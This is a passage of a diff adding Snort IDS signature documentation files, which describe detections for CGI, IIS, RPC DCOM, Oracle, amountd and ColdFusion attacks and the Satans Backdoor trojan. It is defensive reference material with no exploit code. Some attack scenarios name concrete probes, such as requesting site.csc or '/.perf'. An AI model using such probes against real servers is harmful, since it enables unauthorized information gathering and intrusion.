+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2170.txt
+++ snort-2.8.5.2/doc/signatures/2170.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2170
+
+
+--
+Summary:
+This event is generated when a possible outgoing virus is detected. 
+
+--
+Impact:
+Informational event. An virus on an infected host may be attempting to 
+propogate.
+
+--
+Detailed Information:
+This event indicates that an outgoing email message possibly containing 
+a virus has been detected.
+
+This rule generates an event when a filename extension commonly used by 
+viruses is detected.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+This is indicative of a virus infection.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate attachment to an email may generate this event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of virus infection.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1039.txt
+++ snort-2.8.5.2/doc/signatures/1039.txt
@@ -0,0 +1,80 @@
+Rule:
+
+--
+Sid:
+1039
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential 
+weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential 
+weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation
+on the host, this may be the prelude to an attack against that host 
+using that information.
+
+This event is generated when an attempt is made to access a sample 
+application on a Microsoft IIS server. In this case the sample search 
+functionality. This application may present an attacker with the 
+opportunity to gain valuable information regarding the implemenation of 
+IIS on the affected host.
+
+--
+Affected Systems:
+	Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the 
+IIS implementation. The attacker might then gain administrator access to
+the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been 
+taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+Delete or disable access to any sample applications on the host.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://support.microsoft.com/support/kb/articles/Q188/2/57.ASP&NoWebContent=1
+
+--
--- snort-2.8.5.2.orig/doc/signatures/576.txt
+++ snort-2.8.5.2/doc/signatures/576.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+576
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) amountd (also known as autofsd) is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port amountd is using.  Attackers can also learn what versions of the amountd protocol are accepted by amountd. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as amountd run.  The amountd RPC service is used by UNIX hosts to automatically mount and unmount autofs files.  It can use name service maps to find file systems to be mounted.  A vulnerability is present in autofsd that allows an attacker to execute arbitrary commands.  The attacker requests a map name that is executable, followed by a malformed client key and commands to be executed.  The server improperly interprets the input and executes the commands.
+
+--
+Affected Systems:
+IBM AIX 4.3, SGI IRIX 6.2, 6.3, 6.4, 6.5, and 6.5.1.
+
+--
+Attack Scenarios:
+An attacker can craft an amountd request that executes arbitrary commands on the remote file system. 
+
+--
+Ease of Attack:
+Easy.  Exploit code is widely available.
+
+--
+False Positives:
+If a legitimate remote user is allowed to access amountd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for amountd, not probes of the amountd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the amountd service itself. An attacker may attempt to go directly to the amountd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/332/info/
+
+Arachnids:
+http://www.whitehats.com/info/IDS19
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2252.txt
+++ snort-2.8.5.2/doc/signatures/2252.txt
@@ -0,0 +1,80 @@
+Rule:  
+
+--
+Sid:
+2252
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerablity in Microsoft RPCSS service for RPC.
+
+--
+Impact:
+Denial of Service. Possible execution of arbitrary code leading to
+unauthorized remote administrative access.
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPCSS Service that handles RPC DCOM
+requests such that execution of arbitrary code or a Denial of Service 
+condition can be issued against a host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to the host
+running the RPCSS service may result in a buffer overflow condition that
+will present the attacker with the opportunity to execute arbitrary code
+with the privileges of the local system account. Alternatively the
+attacker could also cause the RPC service to stop answering RPC requests
+and thus cause a Denial of Service condition to occur.
+
+--
+Affected Systems:
+	Windows NT 4.0 Workstation and Server
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a DCERPC bind request followed by a malicious
+DCERPC DCOM remote activation request.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139, 445 and 593 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Disallow the use of RPC over HTTP and HTTPS.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS03-039.asp
+
+eEye:
+http://www.eeye.com/html/Research/Advisories/AD20030910.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1213.txt
+++ snort-2.8.5.2/doc/signatures/1213.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1213
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1516.txt
+++ snort-2.8.5.2/doc/signatures/1516.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1516
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/997.txt
+++ snort-2.8.5.2/doc/signatures/997.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 997
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/313.txt
+++ snort-2.8.5.2/doc/signatures/313.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 313
+
+--
+Summary:
+This event is generated when an attempt to exploit a buffer overflow condition in ntalkd is made.
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to gain remote access to the victim host or execute arbitrary code with the privileges of the superuser account.
+
+--
+Detailed Information:
+Some versions of the Network Talk Daemon (ntalkd) are vulnerable to a buffer overflow condition which can present the attacker with a root shell.
+
+Talk is used to communicate between users of UNIX based operating systems. A vulnerability exists such that a buffer overflow condition in talk can be exploited by a malicious user. This may then present the attacker with the opportunity to gain root access to the target system.
+
+Affected Versions:
+	Multiple vendors
+
+--
+Attack Scenarios:
+Once the overflow has been created, the attacker is able to supply incorrect hostname information to the target system and gain root access.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply vendor supplied patches.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/210
+
+--
--- snort-2.8.5.2.orig/doc/signatures/917.txt
+++ snort-2.8.5.2/doc/signatures/917.txt
@@ -0,0 +1,62 @@
+SID:
+917
+--
+
+Rule:
+--
+
+Summary:
+This even indicates an attempt to exploit undocumented CFML tags on a 
+Allaire ColdFusion Server
+--
+
+Impact:
+Extensive server data retrieval including settings and passwords
+--
+
+Detailed Information:
+Undocumented CFML tags allow reading and decryption of sensitive data 
+contained on servers running Allaire ColdFusion Server 2.0 - 4.0.1. This
+data can be accesses by constructing a hosted application that accesses 
+these undocumented tags with the possibility of changing values on the 
+server and reading admin and studio passwords
+--
+
+Affected Systems:
+	Allaire ColdFusion Server 2.0 - 4.0.1
+--
+
+Attack Scenarios:
+A user with permission to create pages on the server installs an 
+application that accesses the undocumented CFML tags, accessing this 
+application would allow viewing and possible modifications of these 
+settings
+--
+
+Ease of Attack:
+Medium, Attackers need the ability to add files to the server. No "In 
+the Wild" exploits were available at type of writing
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Patches are available from Allaire, install them.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1038.txt
+++ snort-2.8.5.2/doc/signatures/1038.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1038
+
+--
+Summary:
+This event is generated when an attempt is made to access the Microsoft Site Server site configuration file. 
+
+--
+Impact:
+Intelligence gathering.  This attack may permit the viewing of the site configuration file, which may contain sensitive information such as the username and password used by the Ad Server to access SQL databases. 
+
+--
+Detailed Information:
+Microsoft Site Server Commerce Edition 3.0 contains an AdSamples directory, which is provided for instruction and demonstration of the Ad Server capabilities.  Unless directory permissions are altered, an attacker may view the site configuration file, site.csc.  This contains sensitive information such as username and password that may be used to gain unauthorized access to SQL databases.
+
+--
+Affected Systems:
+Microsoft Site Server Commerce Edition 3.0
+
+--
+Attack Scenarios:
+An attacker can craft a URL to reference the site.csc file to view sensitive information. 
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Delete the directory containing the sample code if it is not required.
+
+Restrict access to the sample code directory. 
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-1520
+
+Bugtraq
+http://www.securityfocus.com/bid/256
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1072.txt
+++ snort-2.8.5.2/doc/signatures/1072.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1072
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/118.txt
+++ snort-2.8.5.2/doc/signatures/118.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+118
+
+--
+Summary:
+Satans Backdoor is a Trojan Horse capable of stealing passwords. This 
+event is generated when an infected machine replies to the attackers 
+connection attempt.
+
+--
+Impact:
+Possible theft of data and passwords.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	
+The Trojan server always communcates via port 666 and cannot be changed 
+by the attacker. The server portion itself is named winvmm32.exe, this 
+also cannot be changed. The main purpose of this Trojan is password 
+stealing thus presenting the attacker with access to other machines and 
+possible further compromise of data.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is located called winvmm32.exe.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Delete the file winvmm32.exe.
+
+Kill the process winvmm32.exe.
+
+--
+Contributors:
+Orignal rule by  webmaster@tlsecurity.net
+
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS316
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000383.txt
+++ snort-2.8.5.2/doc/signatures/100000383.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000383
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "OsTicket" application running on a webserver. Access to the file "open_form.php" using a remote file being passed as the "include_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "include_path" parameter in the "open_form.php" script used by the "OsTicket" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using OsTicket
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1540.txt
+++ snort-2.8.5.2/doc/signatures/1540.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+1540
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/541.txt
+++ snort-2.8.5.2/doc/signatures/541.txt
@@ -0,0 +1,51 @@
+Rule:
+
+--
+Sid: 541
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2857.txt
+++ snort-2.8.5.2/doc/signatures/2857.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2857
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure switch_snapshot_master
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/611.txt
+++ snort-2.8.5.2/doc/signatures/611.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid: 611
+
+--
+Summary: 
+This event is generated when a remote login attempt using rlogin fails.
+
+--
+Impact: 
+Someone has tried to login using rlogin and failed
+
+-- 
+Detailed Information: 
+This rule generates an event when a login failure message generated by rlogind is seen. rlogin is used on UNIX systems for remote connectivity and remote command execution.  
+
+Multiple events may indicate that an attacker is attempting a brute force password guessing attack.
+
+--
+Attack Scenarios: 
+An attacker finds a machine with rlogin service running and proceeds to guess the password remotely by connecting multiple times.
+
+--
+Ease of Attack: 
+Simple, no exploit software required
+
+--
+False Positives: 
+A legitimate user may generate an event by entering an incorrect password.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action: 
+Investigate logs on the target host for further details and more signs of suspicious activity
+
+Use ssh for remote access instead of rlogin.
+
+--
+Contributors: 
+Original rule by Max Vision <vision@whitehats.com> modified from a signature written by Ron Gula
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0651
+
+Arachnids:
+http://www.whitehats.com/info/IDS392
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3336.txt
+++ snort-2.8.5.2/doc/signatures/3336.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3336
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1682.txt
+++ snort-2.8.5.2/doc/signatures/1682.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1682
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2062.txt
+++ snort-2.8.5.2/doc/signatures/2062.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2062
+
+--
+Summary:
+server performance and statistics package.
+
+--
+Impact:
+Information disclosure
+
+--
+Detailed Information:
+iPlanet web server uses the file .perf to display performance statistics
+for the server.
+
+An attacker can access the statistics for the server by making a request
+for the file .perf.
+
+--
+Affected Systems:
+iPlanet web servers using this object.
+
+--
+Attack Scenarios:
+The attacker merely needs to access http://www.foo.com/.perf
+
+--
+Ease of Attack:
+Simple
+
+--
